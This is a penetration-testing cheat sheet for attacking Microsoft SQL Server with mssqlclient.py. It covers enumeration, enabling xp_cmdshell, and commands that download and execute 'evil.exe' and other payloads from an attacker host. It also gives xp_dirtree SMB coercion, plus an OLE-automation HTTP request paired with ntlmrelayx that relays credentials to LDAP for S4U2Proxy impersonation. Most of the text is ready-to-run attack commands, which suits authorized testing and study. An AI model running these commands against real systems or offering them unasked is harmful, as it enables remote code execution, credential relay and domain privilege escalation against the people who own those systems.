v1.0

mssqlclient.py

By
Brian Johnson

Great for enumerating/attacking SQL server. This article was very helpful in putting together this cheat sheet.

Basic command to connect to a SQL server

mssqlclient.py user@host -port 123

Connect to SQL server with a domain account and non-standard port

mssqlclient.py domain.com/user@sql1.domain.com -p 123 -windows-auth

Enum logins

enum_logins

Enumerate impersonation values

enum_impersonate

Enumerate linked SQL servers

enum_links

Enable xp_cmdshell

enable_xp_cmdshell

Run commands using xp_cmdshell

curl

EXEC xp_cmdshell 'curl -o c:\users\public\test.exe http://my.kali.ip.address/evil.exe';

invoke-webrequest

EXEC xp_cmdshell 'powershell -NoProfile -Command "Invoke-WebRequest -URL ''http://1.2.3.4/somefile.exe'' -OutFile ''c:\users\public\somefile.exe''"';

whoami

xp_cmdshell whoami

Execute files using xp_cmdshell

EXEC xp_cmdshell 'c:\users\public\somefile.exe';

Turn on OLE automation

This comes in handy if, for example, you can't coerce Web auth from your attacking system:

sp_configure 'Ole Automation Procedures', 1 
reconfigure

Coerce an SMB connection to an attacker system using xp_dirtree

EXEC xp_dirtree '\\YOUR.ATTACKING.IP.ADDRESS\doesntmatter';

Coerce an HTTP connection to your attacker system:

The SQL command below is handy if you're at a mssqlclient.py shell and a whoami command reveals you're running as something like nt service\mssqlserver. What you'll want to do is setup an ntlmrelayx:

ntlmrelayx -smb2support -t ldap:/ip.of.a.dc --delegate-access --escalate-user LOWPRIVUSER

Then back at your SQL shell, run this (note you need to have a DNS record registered):

DECLARE @o INT; EXEC sp_OACreate 'WinHttp.WinHttpRequest.5.1', @o OUT; EXEC sp_OAMethod @o, 'open', NULL, 'GET', 'http://DNS-NAME-OF-YOUR-ATTACK-BOX', 'false'; EXEC sp_OAMethod @o, 'SetAutoLogonPolicy', NULL, 0; EXEC sp_OAMethod @o, 'send'; EXEC sp_OADestroy @o;

The ntlmrelay command window should come back with something like:

<snip>
Connection from xyz controlled, attacking target ldap://ip.of.a.dc
HTTPD(80): Authenticating against ldap://ip.of.a.dc as DOMAIN/LOWPRIVUSER
Enumerating relayed user's privs....blah blah blah
Blah blah...
LOWPRIVUSER can now impersonate users on SQLSERVER$ via S4U2Proxy

Thank you unsigned_sh0rt for this tip!

Video demo

video